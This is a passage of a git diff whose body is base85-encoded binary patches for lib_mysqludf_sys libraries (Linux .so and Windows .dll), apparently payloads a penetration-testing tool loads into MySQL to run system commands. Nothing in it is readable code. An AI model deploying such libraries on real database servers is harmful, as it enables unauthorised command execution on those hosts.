zo_Vr{p@^$|yFg6X>q>rWkuDpcbgiEbUDix5l*t0=>Av{u?=~bkdBB aSw@u{0{O9ED%p9_wf8qTBgk9`OQ5AqHTEC? diff --git a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ index aed988c71eb41b57ab191efcfd0f2ffa18787bcd..8332c552e66cb2560c45da1b4c10af2260dfe96c 100644 GIT binary patch literal 3200 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 diff --git a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ index 8c09c2a49bac247fe243ffa69d39d00841880e9a..ebd350ab32057f354760bb045bab78db25ba3a34 100644 GIT binary patch literal 4549 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 literal 4549 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 diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ index 1e29a745889edf1bea21c6ab7c7b3f8e96f4cce3..5b54d4f0360fc9ede58077cfddf6cbfc4fe243c2 100644 GIT binary patch literal 5267 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 